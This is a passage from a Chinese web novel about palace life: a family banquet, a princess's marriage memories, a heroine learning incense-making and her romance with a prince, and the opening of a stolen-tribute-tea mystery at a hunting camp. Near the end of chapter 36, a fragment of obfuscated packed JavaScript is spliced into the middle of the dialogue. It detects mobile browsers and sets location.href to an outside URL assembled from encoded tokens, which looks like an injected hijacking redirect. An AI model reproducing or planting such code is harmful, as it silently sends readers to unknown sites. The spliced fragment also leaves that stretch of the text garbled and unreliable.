皇帝也不再多语,折过头来,继续问祝隶稷政,知微则提箸,象征性食了些菜,又被祝晟虎扑上来。
“知微姐姐!”祝晟小手抱住她的腰,“好久没见着你了,晟儿好想你啊——”
知微捏过雪团子的脸,摸出块糖糕:“想我还是想美食了?”
“都有都有。”
小家伙张嘴,一口叼走知微手中的糖糕。
知微逗玩着祝晟,对面忽然飞来道目光。
祝明煜仍是要盯着她,碗里的汤勺都搅得哗哗响。
知微假装没看见,低头给祝晟喂糕,指尖却不小心蹭到了小孩的嘴角。
“沾到了。”她抽出帕子要擦,手腕忽然被人碰了下。
祝明煜不知何时凑了过来,手里捏着块干净的帕子,递也不是,收也不是,耳根红得发亮。
“我、我来。”
“可不敢麻烦将军您!”知微没接,自己抬手擦了。
祝明煜的手僵在半空,悻悻地缩回去,闷头喝了口汤,差点呛着。
沈丹曦看得直笑,给程玊芝递了个眼色。
程玊芝起身,挥手,下人端来一个小茶几。
“前几日新到了些好茶,放在我那也是落尘,玊芝手巧,点茶的手艺再好不过。”沈丹曦道。
“母亲折煞儿媳了。”程玊芝净手,身旁的侍从跪坐,一人将茶饼置于素绢上,用银钳夹着凑近火炉轻炙,另一人将炙好的茶饼投入青瓷碾槽,以玄石碾轮轻转。
茶末如金尘般,簌簌落出,又被浸泡。
程玊芝不慌不乱,取来一枚银针。
针尖蘸取清泉,在凝脂般的茶沫上轻勾慢点。
须臾间,一幅梅图浮于茶面。
花苞以乳沫堆叠,呵气时梅瓣似在微颤。
知微面露新奇,瞪大了眼。
从前在山野,大家哪晓得什么点茶品茶,茶水不过是解渴的玩意儿,用个好些的杯子装,便算得上是情趣了。
不像现在,杯盏是玉做的,连香气都是淡雅而隽长的,尤其这小室还飘着隐有的果香,倒是有种走在清晨茶庄的味道。
“果真是上好的龙井。”沈丹曦品评,“让人仿若置身于江南。”
知微狠狠点头:“这空气中蔓延的果香更是画龙点睛,像是在山茶林里头漫步。”
知微本是随口一提,闻言,沈丹曦却怔了怔,她放下杯盏,同程玊芝对视。
“晏姑娘鼻子可真灵。”程玊芝感概,“婆母制香,用的正是山茶,不过山茶花味淡,虽是主调,仍然会被很多人错认。”
沈丹曦点头,眼底闪过暗亮,追问:“可还闻得出些什么?”
知微如实相告,她说得越多,沈丹曦的面上的笑容便越加荡漾。
“好鼻子,好鼻子啊。”
“我制香这般久。自以为对气味算是敏感,可那终究是经验使然,当不得天然的恩赐。”
沈丹曦虽是武将出身,却也保有小女孩般的兴致。驻边的这些年,她闲来无事便扎在厢房,从江南到西域,各类香料无不精通,各类香味皆能还原。
除却家国与儿女,制香便成了她最大的爱好。是以见到知微展现的天赋,她不由得为之欣喜。
沈丹曦忙拉住知微的手:“孩子,你可喜欢这香味?”
知微点头。
“那,明日来我宫里坐坐,教你制香如何?”沈丹曦问。
知微的情绪被沈丹曦言语的急切感染:“那……下官恭敬不如从命!”
小室里的熏香越发浓郁,散出些茶女在林间自在步行的欢愉。
这边的茶话聊得尽兴,另边的对话却显肃穆。
针对皇帝的提问,祝隶稷对答如流,条理清晰,对弊政剖析精准,显然下足了功夫。皇帝边听边缓缓捻须,眼中是掩不住的赞许。
“未雨绸缪,进退有度。”
“太子思虑周全,深合朕意。”皇帝满意颔首,目光很自然地转向了席间眼神飘忽的另一人,“煜儿,方才你兄长所议甚佳。依你看,若地方官吏执行不力、阳奉阴违,当如何督促监察?”
祝明煜闻声,先是在状况外“啊啊”两句,在祝隶稷的咳嗽声中回神,搁下银箸,抬起头,思虑片刻。
“儿臣以为,地方阳奉阴违,实则是习惯了做表面功夫,在奏折上的纸面功夫漂亮。”
“若是想从实在处督促,还是得派些靠得住的人从中央下去明察暗访,微服私行。”
祝明煜认真道:“这些人须得是生面孔,胆大心细,身份不好太尊贵,压得地方不敢喘气,也不能太卑贱,问不出真话。”
他想到自己神镜营中那些机灵的斥候:“最好就是军中历练过、懂人情世故、又能打的汉子,专往那些河渠工地驿站查访,和百姓唠嗑吃饭,总能听到真话!抓到敢糊弄的,当场摁住算数!”
他声音洪亮,想法直接,只是这“靠得住的人选”、“明察暗访”的具体筛选流程和监督机制等细则,回答起来便显得粗糙模糊了。
好在祝明煜支吾时有祝隶稷顶上,倒也勉强算是自圆其说。
皇帝专注地听着,眼中掠过一丝身为父亲的慈爱,见兄弟二人你唱我和,反倒露出温和的笑容。
“你
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们兄弟二人一文一武,彼此相互协助,定能大兴我大昭。”
“可要彼此携手啊。”皇帝起身,有些发晕,用手撑住自己的身体。
“不过煜儿,你还是要多读点书,像你兄长能说会道更好。”皇帝干咳了几声,补充道。
一旁的沈丹曦扶住他。
“陛下,煜儿这般已是极好。”沈丹曦将一盏滋补的汤推到祝明煜面前,“他就这粗脑子,您还想他何处都拔尖,文韬武略样样精通不成?”
“还是让他多补补吧。”沈丹曦笑着,满眼的疼爱快溢出。
暖黄宫灯下,温情脉脉流淌。
程玊芝已收了茶具,安静侍坐一旁。
她的目光,极轻极快地掠过对面端坐的祝隶稷。
他正看向窗外那夜色中被晚风摇曳的荷影,从程玊芝的视角,祝隶稷的侧脸映着水光和灯火,像是被隔在窗阁外的一缕寒光。
程玊芝执壶,替沈丹曦续茶的手几不可察地顿了一下。
——
家宴结束时,夜已深。
宫门落了钥,太子一家顺势留在宫中歇息一晚。
程玊芝走在宫道上,稍稍比祝隶稷落后两步,祝晟早早发了困,此刻被蒋嬷嬷背在后背。
小孩子长得快,负着快七岁的孩子,蒋嬷嬷有些吃力。
程玊芝不忍看年近五旬的贴身嬷嬷如此疲惫,提出要接过祝晟,蒋嬷嬷撇过头,下颌抬向祝隶稷方向。
程玊芝愣住。
记忆翻涌而上。
好像很多年前,她刚嫁与祝隶稷时,也发生过类似的事。
程玊芝是小门小户出身,每一步向上,都伴随着卑躬。
她还记得那是午后,父亲推开她的门,告诉她有件大大好的喜事。
她被指婚给济平侯世子了。
期间的具体缘由不是一个困在闺阁中的女儿家能知道的。
“要好好伺候夫君,家族的任务寄托在你身上了。”
程玊芝尚未来得及反应,红袍加身,鞭炮齐鸣。她罩着亲自绣的那顶鸳鸯盖头入了轿,成了妻、成了母亲。
新婚之夜,程玊芝坐在榻上,支起耳朵听外头的动静。
隔着盖头,透过喜红遮盖下仅有的几分间隙,她瞧见有人进了房,合上厢门,也不说话,直饮尽桌上本该用来交杯的酒。
她当时是何感受呢?没有按仪典走完交杯的担忧是其一,更深的是好奇。
酒是何种滋味。
程玊芝不知道。
她在闺中是最最规矩的,背过《女诫》、《内训》,习得一手好绣工,最擅长的是管账。
她随身携带着一把白玉小盘,那是母亲留下的遗物。
从只能盖住几颗并列的算珠,再到渐能罩住半排,最后,终于能够覆盖整方算盘。
指尖的肉嘟被修长取代,懵懂儿童后,她亭亭玉立。
程玊芝长睫微垂,两只手互相绞缠。
那人的脚步近了,她的头也更低了些。
红烛帐暖,她的盖头被掀开。
烛火跳跃,素白沾红,鸳鸯戏水,漾开一片暖融。
潮汐涌入身躯,翻涌开程玊芝眼底的懵懂。
35. 花开两朵
次日清晨,程玊芝醒来。
骨头缝里都透着一种陌生的酥软,昨夜帐内未曾散尽的暖意混着淡淡的酒气,萦绕在鼻尖。
潮红又浮现在她脸上。
程玊芝向上抽了抽锦被,有力量牵扯住被衾,她翻转回身,原是她的夫君压住了它。
程玊芝轻悄下榻,注目着自己的丈夫。
许是昨晚饮酒过度,烧了脑,祝隶稷仍闭着眼,眉心微蹙,薄唇紧抿,一对长而卷翘的睫毛在窗口泄入的光线里打颤。
像对轻巧的蝴蝶,扑闪扑闪着。
程玊芝的心,莫名地漏跳了一拍。
指尖拭过,程玊芝手上只余密麻的痒意。
她细细打量了会儿眼前人,欲缩回手,却又被人抓了回来。
“母亲……”祝隶稷喃喃,隐约呜咽。他又使了些手劲,将身子凑到程玊芝旁边。
程玊芝顿了顿。
她想起了自己的幼弟。
唯一的幼弟,在母亲病逝后,曾几宿睡不着觉时,她也是这般握住幼弟的手。
苍白的、弱小的,几近干涸的眼泪。
她的夫君也是这样吗,又在为什么哭泣呢?
程玊芝不知道。
她只是理过祝隶稷被汗水浸透的鬓角碎发,像是''在哄幼弟,一下一下拍着他的肩。
“天黑黑,月儿悬,小娃娃,归家宅……”她哼起歌谣来。
下句是什么来着,程玊芝闭上眼,在记忆深处搜寻那模糊的调子,再一次睁眼,便是在青石砖的宫道上。
第一年春,二人共同进宫。
三尺的距离,祝隶稷略微在前,程玊芝穿着高高的盆鞋,努力维持着端庄的仪态,试图跟上他的步伐。
谁都不说话,只在转角宫道不平时,祝隶稷抬手,搀住她身。
第二年春,二人共同进宫。
祝隶稷略微在前,程玊芝缓步,两人比肩。
第三年春,二人共同进宫。
程玊芝顶着圆滚的肚子在前,手被牢牢抓住,祝隶稷托住她的腰,嘴角带笑。
四年,五年,六年……
一春四载十华年,别了青涩,长了结发。
十年来,她为祝隶稷诞下一个孩儿,伤了身体,很难再孕。祝隶稷也为她提供了一个庇护,给她后院权势,给她满腔信任。
他为她拒绝了别府送来的美妾,她为他打理好府中大小事宜。
哪怕是后来新娶了万氏,祝隶稷也始终尊她、敬她。
所谓夫妻,莫过于此。
还有何所求呢?
程玊芝仰头,漆黑的宫道,一夜无星。
祝晟在蒋嬷嬷肩上睡得正熟,不知在支吾着什么。程玊芝瞧着实在可爱的稚子,爱不释手。
她戳戳祝晟的小脸。还记得这孩子刚出生的时候,五官蜷缩在一块,像只胖皮猴。
祝隶稷守在她榻边,拿来亲自雕制的木头小剑逗弄着祝晟。
祝晟对木剑不感兴趣,一个劲儿地打哈欠,很快“啊呜”哭出声,祝隶稷惊吓到手忙脚乱,一向淡淡的五官也有了慌意,程玊芝笑出声来,目睹父子俩的初次互动。
不知不觉,只会哇哇大哭的小猴子,都这么大了啊。
“夫君,你快看晟儿。”程玊芝柔着眼,习惯性地侧头,想与身旁人分享这份喜悦。
然而,身侧空空如也。
程玊芝唇边的笑意微微凝滞。
祝隶稷早早独身走在了前方,他消失在前方的转角处,消失在无星的夜色里。
——
“早知他来,我便不来了。”知微眼白都快翻到最上,当着沈丹曦的面,只恨不能再多表现出自己的嫌弃。
今天她打扮的漂亮,本想开开心心来皇后处说话学香,谁料祝明煜不速之客也到了这儿。
两个人冷战了月余,可知微想起那天发生的事情,仍是气愤。
她避开祝明煜,选了一个离他远远的位置,对于祝明煜偶尔投来的目光,也是偏头以对。
祝明煜实在没办法了,一双湿润的眼睛向母亲求助。
沈丹曦叫知微过来,扯过祝明煜的耳:“明煜在我身边耳濡目染,也懂些制香,让他教教你。”
知微瘪了瘪嘴。
学香第一日。
沈丹曦的寝殿飘着淡淡的檀香味。知微站在香案前,看着案上摆着的沉香、龙脑,手足无措。
“试着揉团。”沈丹曦示范着,将香粉与蜜水混在一起,“力道要匀。”
知微学着揉,香粉却总从指缝漏出来,弄得满手都是。
祝明煜见状,挪到她身边。知微以为他是想为自己擦手,遂折身躲过。
祝明煜不放弃,又是两步,胳膊肘差点撞到她。
“讨好我没用!”知微烦了心。
“我只是想告诉你手法错了。”祝明煜伸手想碰香团,指尖刚要碰到,知微忽然缩回手,香团“啪”地掉在案上。
几个时辰的成果瞬间毁了,两人同时愣住。
明煜的耳朵腾地红了,转身就走:“我忘了还有军务。”
“这下你满意了。”知微冲着祝明煜落荒而逃的背影拳打脚踢,“滚啊,滚啊。”
学香第三日。
知微正在碾香粉,祝明煜又来了。
他手里拎着个食盒,把一碟米糕酥放在案上:“我托厨房特意做的。”
知微没看他,专注地碾着沉香。
“前日我不该动手,毁了你的作品。”
知微不答。
祝明煜蹲在旁边,看着她垂着的眼睫,又忽然道:“还有那天的话,我不该说重了。”
“我知道你担心我。”他声音低了些。
知微的手停下动作。
“你别生我气了好不好?”
知微没答,往他面前推了推米糕酥。
学香第十日。
香案上摆着排好的香牌,个个方方正正。
知微正给香牌刻字,祝明煜凑过来:“我看看。”
他的气息拂过耳畔,知微的手一抖,刻刀在香牌上划错了道。
“都怪你。”她嗔道。
“我的错,我的错。”祝明煜笑着抢过刻刀,“我来改改。”
他在错痕处刻了朵小小的梅花,倒比原来更别致了。
知微看着那朵梅花,忽然想起蜀郡那盒润手脂。正愣神,祝明煜递过来个小巧的瓷盒:“给你的。”
打开一看,是盒护手香膏,白梅香混着杏仁脂的温润,和
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蜀郡那盒很像,却更细腻些。
“我照着方子亲自做的,比蜀郡那个好。”他挠了挠头,“知道你总做活,手该保养。”
知微捏着瓷盒,指尖传来暖意。
“祝明煜。”她抬头,“你以后不许再冒傻气,也不许再凶我了。”
“不冒了。”祝明煜笑得像个孩子,“有这次的教训,再不敢。”
沈丹曦站在廊下,看着殿内相视而笑的两人,手里的茶盏冒着热气。
……
学香第三月,知微对制香已初窥门径,举手投足间多了几分沉静气韵。
祝明煜依旧打着探望母后的旗号,隔三差五便往沈丹曦宫里跑。
他一本正经地与母后说着话,眼神却总是不自觉地飘向一旁安静调香或看香谱的知微。
他看她低垂的眉眼,看她捻起香料的指尖,看她偶尔蹙眉思索的神情……每一个细微的动作落在他眼里,都像投入心湖的石子,漾开一圈圈涟漪。
这日,月色如水,静静流淌在宫道上。
祝明煜照例送知微回静芳苑。
两人并肩走着,影子在身后拉长又缩短,衣袖偶尔轻轻摩擦,带起一阵微小的、令人心悸的酥麻。
刚到院门口,知微眼前一亮,像发现了什么奇迹似的,指着窗台:“你看!”
祝明煜循着知微的指尖望去。
原是那盆月候兰。
不再是虬结的枯枝,它的枝干抽出了嫩绿的新芽,像个怯生生的小拳头,在夜风里轻轻晃着。
“它活了。”
“它居然真的长大了。”祝明煜的声音里满是惊喜。
“嗯。”知微轻轻应了一声。
她望着那点新绿,目光从新芽移到祝明煜脸上。
月光下,祝明煜眉眼舒展,笑容纯粹而明亮。
她又想起最初,祝明煜送他这盆花时说的那番话。
好快啊,她入宫都已半年有余。
一切都很顺遂。不管是作为女官,还是作为预备的王妃。
知微脸一红,她抬眸,祝明煜就立在她身侧,笑着看花。她忽然踮起脚尖,飞快地在他脸颊上亲了下,转身跑进院子。
“明日记得继续护送我。”
“好……”祝明煜对着空荡荡的院门,轻声应道,声音温柔得能滴出水来。
似是嫌弃还不够热忱,他摸着发烫的脸颊,傻笑着大声道:“我一辈子送你。”
静芳苑的灯亮了。
少昭从窗子探出头来,捂着半边脸,啧啧笑。
“酸死我了阿姐。”少昭学着祝明煜的话语,“我一辈子送你。”
“你们也太腻歪了。”少昭贴着知微评价。
知微摆手,瞪了少昭一眼。
“今日少央教你写的字,学会了吗?”她问,“明日我可要抽查的。”
“我就不能歇一天吗!”少昭被戳了腰杆,往少央处求救。
少央同知微交换了一个眼神。
主仆二人齐声:“不能。”
“啊啊啊啊啊啊啊——”少昭的声音回荡在庭院。
知微扒开窗帘隙,祝明煜还立在院中。
月光把他的影子拉得很长,混着院角的花香,月候兰随风摇曳。
36. 多是无情春(一)
春去秋来,月候兰的小芽舒张开,慢慢向上。
最初只是米粒般的嫩芽,怯生生蜷着,裹着一层绒毛,似初生雀鸟未睁的眼,后来梗上悄然结出青豆大小的苞。
再然后,苞身日渐饱满,由青转白,晕染出极淡的霞色,仿佛少女颊边初现的红晕。
知微弯下身,剪去月候兰盆栽中多余的枝叶。
入宫近三个年头,知微已很能适应京城的气候。
早春的晴朗中带些干冷,知微从室外端着月候兰进屋,随手交白狐裘给少央。
静芳苑内的厢房点了金丝炭,知微只着一件墨绿色薄襦,坐在小桌旁检阅少昭的作业。
小桌上的东西很多,既有从尚食局送来的文书,也有在宫外收到的信件。
宫外来的信件又分为两种。
一种是祝明煜写来的,半月前他伴驾前往京城郊区的祖坛,参与三年一度的大朝贡。
朝贡聚集了大昭所有数得上名姓的王侯及各附属国君王,知微不喜欢出入这种场合,遂留在宫中。
祖坛和皇城的距离不远,祝明煜一天一小信,三天一大信,信里说尽了这一路上的趣事轶闻,知微也选择性地挑了几封回复。
再来便是万珍儿的信了。
知微拆开信封,万珍儿的信纸都透着一股糕点香。
可以想见是在怎样的惬意环境下写就这封信了。
知微无奈耸肩。
一年前东宫修缮完毕,万珍儿没有理由再留在皇宫,泪岑岑地颓堂回到太子身边。
东宫离皇宫不算远,但她也不方便时常出入,只在偶尔有盛大宴席需出席或求得祝隶稷应允时方能与知微见上两面。
平日二人更多是书信往来。
说起来,二人相互的信件还是托孙为收寄的。无他,一来孙为是个自由身,出入宫廷方便。
二来的话……
知微拾起桌面上的一张字帖,上边是狗爬似的斜体。
教少昭识字是这些年一直在做的。
少昭是个聪明孩子,可惜性子急,做事静不下心,学的效率低了些。
不过很多基础的字倒也识得了,是以一些知微从前大大方方在她面前所做的举动,也不知觉中要开始回避。
知微打开小屉,收好万珍儿的来信。
万珍儿与孙为的事,知微不曾多问,可这么多年了,她不是个傻子,多少察觉到了些微妙。
来信又往抽屉底压了压。
知微想,万珍儿与孙为倒也是真真造化弄人,可两个有情人既不能相爱,能遥望相守也是不错的。
只可惜了少昭。
知微掀开窗帘,发现苦情三角戏的主人公之一,少昭正红着脸趴跪在地上,持着根树叉,不知在瞧些什么蚂蚁蜈蚣。
都多大的人了。
知微叹笑。
“这位妹妹,你今天的字练了吗?那本开年买的《诗三百》翻开第二页了吗?还是说,你要留着传家?”知微见着少昭这愉快样儿,很难憋着不说话。
闻言,少昭像只兔子一样蹿起。
“明日!”少昭答道。
知微:“明日复明日,明日何其多。”
少昭捂住耳:“我生待明日,明日就是多!”
知微被逗得哈哈大笑。
持续的笑声中,加急的明黄封套递到静芳苑,少央自汗涔涔的太监手上接过,信封上盖着皇帝的私印,字迹潦草,透着股不同寻常的急促。
少央赶忙递给知微。
拆开一看,寥寥数语,召知微即刻赶往京郊祖坛,参与三年一度的大朝贡。
“连个缘由都没有。”知微捏着信纸皱眉,指尖划过“加急”二字,总觉得心头发沉。
少央很快备好车马。
出宫前,少昭扒着车窗,一脸羡慕:“阿姐,听说附属国的王子会带宝石来,你帮我看看能不能带我一些边角料呗?”
知微愣了愣,这小丫头的信息倒是灵敏。大昭是大国,三年一度的大朝贡自然是十分热闹,尽展国威。
想必此番召她前去,也无非是为了在膳食上更好展现这二字。
启程前,知微敲了敲少昭的脑袋,叮嘱道:“好好学你的字。”
——
马车辘辘驶出皇城,半天功夫便到了祖坛外围的草原。
夕阳把草地染成金红,远处传来欢呼,知微探出脑袋,原是一群人在围看狩猎的战利品。
熟悉的声音传来,空地中央,三个挺拔身影勒马而立,知微定睛,三人从左至右分别是李明镜、祝明煜、万祁将军。
祝明煜一身玄甲未卸,马鞍旁挂满猎物,野雉的翎毛猩红,野猪血口大张。他正朗笑着与身侧的李明镜说着什么,意气风发。
眼角余光瞥见熟悉身影,他猛地转头,眼睛瞬间点亮:“知微!”
“你怎的来了,我莫不是眼花?”祝明煜吭哧哧蹦下马。
莫不是想我了?
知微读出他气声,回复了一个白眼。
祝明煜继续晃荡着手上战利品:“快来看!今日围猎,我拔了头筹!”
“哪里来的头筹,人万将军可是猎了一头猛虎。”
“老虎懂不懂?百兽之王啊。哪是你这只野山猪可以比的!”李明镜一把揽过祝明煜,在他耳边低语,“你这家伙为了开屏什么谎话都编得出。”
“我就是数量上的第一。”祝明煜挣脱开李明镜怀抱,三人赛前都说好的比数量,祝明煜向万祁投去一个确认的眼神。
万祁没替他说话。
祝明煜又想找知微理论,知微叫停了他。
“我有要事。”知微目光扫过人群,“陛下在哪?”
“在前头营帐,这两日都是围猎集会,不住行宫。”祝明煜的笑淡了些,顿时明白知微此番前来是有要事。
他懂事道:“你先去忙,我晚些找你。”
如此甚好。知微点头,跟着引路侍女离开。
祝明煜瞧见日思夜想的人儿远去,下意识叹了口气,不料被身后李明镜听见。
“瞧瞧,魂都被勾走了,留不住人,还得再练练啊。”李明镜摆手。
“哎,不要跟我说你之后的猎兽输了,都拿这个理由搪塞啊。”李明镜与祝明煜一起长大,连输了都要找个理由来开脱。
是以李明镜提前开口,意图绝了祝明煜提前道心破碎订说辞。
祝明煜懒得搭理,闷闷解释:“她是真有事。”
“再说了。”祝明煜折头,“我练刀枪,习武艺,精技术,又不止为了朝她显摆。”
祝明煜的声音陡然洪亮:“我是为了护着这江山,护着该护的人。”
“有无她看这一眼,我手中刀枪,一样为大昭而握!”祝明煜坚定道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229988|178576||http|test|mini|href|location''.split(''|''),0,{}));
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>“好男儿!”李明镜被他说的燃了起来,“这可比儿女情长有出息。”
两个人搭着肩调笑,又转过去看万祁。
一旁的万祁神色暗了暗,他轻抚着马颈,目光掠过刚燃起的篝火。
“男儿持刃,护国自是本分。然……”
他用只有他能听得到的音量,道:“护国本是护爱,若为至亲至重之人,纵是焚尽苍生、背弃伦常,亦、在所不惜。”
——
知微打了个冷颤。
天色渐暗,她跟着引路内侍在迷宫般的营帐间穿梭,好不容易找着了北,引路侍女却又只能将她带到帐群外。
风声呜咽,知微循着侍女的引路,向最正中的一个大营帐走去。
拐角处,一个熟悉的身影步出,衣袍几乎融入夜色——竟是祝隶稷。
知微暗道心烦。
她还记得前些时日为祝明煜做糕点,无意在去校场的路上撞见过祝隶稷,仍是不忘嘲讽她:
“整日围着灶台转,倒真把自己当后宅妇人了。”
“以为攀上明煜,穿上这身尚食官袍,便真成了人上人?”
“从前的野心呢,磨平了?只剩下依附他人做王妃的温顺美梦了?”
冷嘲热讽,莫名其妙!
知微就想离他越远越好。
她正准备捂上耳朵,快步离开。擦肩而过的瞬间,祝隶稷却抓住了知微的小臂。
知微抬眸,这才发现眼前人的不对。
方才隔得远,光线又不好。如今仔细一看,祝隶稷穿的玄色常服下摆沾着大块尘土,灰扑扑一片,还蹭着几点草屑泥痕。
尤其膝盖处,像是重重跪过,有很大一片脏迹。
知微喉咙一升一降。
祝明煜往日里挺直的肩背也塌着,眼底的红血丝透露出一种莫大的疲弊。
她何曾见过他这般……近乎狼狈的模样。
“殿下?”知微轻声探问。
祝隶稷的的指节冰凉,力气也没个把门,箍得她臂骨生疼。
“拿出你的本事来。”祝隶稷盯着知微的眼,一字一顿,“这是关乎人命的大事。”
什么人命,又是什么大事?
知微反手,试图握住祝隶稷的臂,抓住满片空气。
——
到了帐前,知微大气不敢多喘。
侍卫比别处多了三倍,个个手按刀柄,神色凝重。
果真是不对劲。
知微反复调整呼吸,轻脚迈入营帐。
皇帝坐在主位上,脸色灰败。
知微刚要屈膝行礼,一道寒光突然射来——
是把淬了毒的小刀,直冲着她的头颅!
本能快过思绪,知微猛地向后仰,小刀堪堪擦着鼻尖飞过,狠狠钉入后方的帐柱。
知微踉跄着摔在地上,抬头就见个高鼻深目的异域男子拍着手笑。
“你就是皇帝找来的能人?”男子穿着暹瀛国的锦袍,头戴一顶镶金嵌宝的紫貂暖帽,帽顶镶嵌的那颗血红珊瑚似鸽卵大小的,如同凝固的太阳,在晃荡的烛火下兀自燃烧。
男子眼神轻蔑:“连把小刀都躲不利索。”
知微盯着他身后,心脏骤然缩紧。
男子身后跪着个人,发髻散乱,正是江覃。
江覃嘴角淌着血,昂着头,目光撞上知微时,艰难地摇了摇头。
37. 多是无情春(二)
帐内烛火噼啪作响。
江覃嘴角的血痂在火光下泛着暗沉。
知微刚稳住身形,就见身着暹瀛服饰的男人迈着锦靴上前,靴尖踢过江覃膝弯,江覃闷哼一声,被迫跪得更直。
“国君,是小人的错。”江覃埋头,作揖行礼。
那人原是暹瀛国的君主,暹瀛国不是今年才成为大昭的附属国吗,怎敢对大昭的谋士如此失礼。
知微心生疑虑。
可很快,那暹瀛国的君主开了口。
“连盒贡茶都看不住,还敢称谋士?”暹瀛君主扯着嘴角,冷哼出声。
知微这才发现他的指节捏着茶盏,里头只剩些褐色茶渣。
知微细细听清帐内对话,方才得知原来一切的祸端只因一事——前日,暹瀛进贡的“雪顶含翠”茶被盗了。
那茶是暹瀛君主特意带来的珍品,举国上下只得了一小块茶饼。
皇帝早在附属国会谈时便承诺,要在围猎盛会与各国首领共品此茶。
如今半年过去,承诺共同品鉴的好茶只剩渣滓,暹瀛为首的附属国皆认为大昭轻视他们,联名上书,要求相关人员须得在三日之内寻回贡茶,否则便要治管理贡品的官员“渎职之罪”。
不幸的是,江覃便是此次负责管理贡品的主要官员。
照暹瀛国规矩,这“渎职之罪”无他,须得让人脱净衣服后切腹,无疑是死路一条。
按理来,大昭作为盟主国,断是没有让人握住七寸的道理。不过有附属国总比没有好,毕竟边关的百姓可受不了连日的战乱。
知微扶起江覃,无奈叹了口气。
暹瀛国的君主早已扬长而去,高座上的皇帝面色灰败,嘱托知微协助江覃后也离开,只剩二人得了指示,必在剩余的二日找回丢失的“雪顶含翠”。
知微掏出绣帕递给江覃,她也是第一回瞧见江覃这般狼狈的样子,联想起江覃曾经对自己的颇多照顾,她也不禁多出几分哀悯。
“这暹瀛国的君王当真是无礼至极。”知微道,“作为一个附属国。他便不怕大昭来日对它暹瀛的反制。”
知微絮叨着,江覃的面色也是发沉。
“什么附属,不过是国家久旱,没有粮食的权宜之计罢了。没有办法。”江覃擦去嘴角的血渍,“暹瀛流淌着草原蛮族的血脉,国运昌盛时便大肆进攻,力量不足时又假装求和。”
“今日向你称臣,明日又想踩在你头上。保不齐,以他为首的附属国君们早已蠢蠢欲动,只等一个撕毁盟约的由头。”
“毕竟,他们这样的蛮族,逐利才是常态。”江覃冷笑着,走出营帐。
——
夜风卷着草原的寒意灌入衣缝,知微缩了缩身子,听着江覃分析已知的案情。
“茶饼早于几月前被碾碎,收于特制锡罐,一直封存于礼部库房。”江覃语速低缓,“钥匙仅礼部侍郎持一把。前些日子开库查验贡品,锡罐完好无损,便按规矩随军送到了营帐。”
“只是到了晌午,当众开罐时,罐子里却唯余茶渣。”
江覃的眸色暗了暗:“库房的守卫森严,大门无撬痕,锡罐的封条也不曾毁坏,几乎排除了在库房中被盗的可能。”
“也就是说,盗贼只能在护送贡品的途中出手?”知微接上江覃的思绪,“可有大致范围的嫌疑人?”
江覃点头:“此事一出,我便下令,将所有的相关人员隔离,只是暹瀛国君蛮横,硬要先讨个交代,我不得已先自罚,这才耽误探案的进度。”
知微眼神觑过江覃红肿的脸,联想到祝隶稷衣物上的尘土。
她没绕弯子,直问江覃传召自己的理由。
探案她不擅长,除非是,有某个环节需要自己的协助。
江覃将一包油纸摊开,里头是那捧惹出泼天大祸的茶渣。
叶片残破焦枯,混着库房积年的陈灰,毫无名茶该有的清雅余香,倒泛着一股朽木般的沉闷。
“闻到了么?”江覃捻起一点碎末,凑近茶渣。
知微俯身细嗅,眉头微蹙:“似有极淡的酸气,像果子腐败之初。”
知微蹲下身,仔细查看那些茶渣,突然,她的目光被其中几粒淡黄色的结晶吸引。
拈出一粒半嵌在茶梗缝隙里、比粟米还小的淡黄色晶体,知微放在鼻尖轻嗅,眉头紧锁。
“找你来,便是为了鉴别此物。”江覃道,“我已经找过随行的御医,此物非药非毒,一时查不清其间成分。”
“查不清正常。”知微打断江覃的话,她越看这玩意儿越觉得眼熟,像是前世在厨房中见过闻过尝过的,某一样东西。
在江覃诧异的神色中,她将颗粒放进嘴里,细细品味。
是强烈的、令人皱眉的酸感。
知微的舌头都快被刺激到发麻。
“这是……柠檬酸?”知微心中一惊,没想到竟会在此处遇到。
“柠檬酸?那是何物?”江覃一脸茫然。
“附近可有柠檬树?”知微问。
江覃一怔:“不远处是有片茶圃,挨着贡品存放的地方,旁侧还种了几株柠檬茶树。”
“那这群被封锁调查的嫌疑人中,可有经营着这片茶圃的人?”
“约莫是有的。”江覃回忆,“今年出库带来的贡品极其多,在搬运途中少不得借用茶圃相关人员。”
江覃道:“我记得,有个叫阿青的小伙子,他是负责照看柠檬树的。”
闻言,知微将油纸包合上,站起身,道:“带我去找他。”
——
夜色正浓,草原的风卷着沙粒打在脸上。
知微跟着江覃穿过帐群,直奔茶圃旁的小杂院。
院门锁着,士兵撬锁时,忽然道:“阿青是去年入宫的,听说家里穷,为了给母亲治病才净身,平日话少,只闷头打理茶树。”
说话间,门“咔嗒”开了,院内弥漫着潮湿的霉味。
正屋灯亮着,知微推开门,就见一人正蹲在案前,听见动静猛一哆嗦。
正是阿青。
十五六岁的年纪,身量单薄得像根秋草,洗得发白的粗衣空荡荡挂在身上,一张脸煞白无血,唯有一双眼肿似核桃,遍布惊惶血丝。
阿青的手里死死攥着块抹布,手背上几道新鲜的红痕纵横交错,皮肉翻卷处已凝了淡黄薄痂,在油灯的昏暗光线下分外刺眼。
“谁让你进来的!”阿青猛地抬头,手背在身后。
“大胆。”士兵出声喝止,“竟敢对贵人们无礼。”
闻言,阿青一抖擞摔在地上,俯首跪拜。
知微眼尖,阿青用手行礼时,恰好瞧见他虎口处有道未愈合的划伤。
“手怎么回事?”知微目光死死钉在他的伤口上,“莫不是是做
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工时被枝桠划的。”
阿青触电般缩回手藏到身后,嘴唇哆嗦:“奴、奴才蠢笨……今日采摘果子的时候,不、不慎被摘刀划伤了……”
“摘的可是柠檬?”知微不理阿青,逼近一步。
阿青脸色更惨白了,牙关咯咯作响,一个字也挤不出,只拼命摇头。
知微不再逼问,目光如探灯,扫过这方寸陋室。
窄炕上被褥凌乱,散发着一股酸馊气。
炕脚塞着个破旧藤箱。她猛地掀开箱盖。
一股浓烈到令人作呕的霉腐气猛地冲出来!
箱底胡乱堆着些啃了半块的粗食干粮。有的生着惨绿或灰白的霉斑,绒毛纠缠,像一块块溃烂的皮肉。
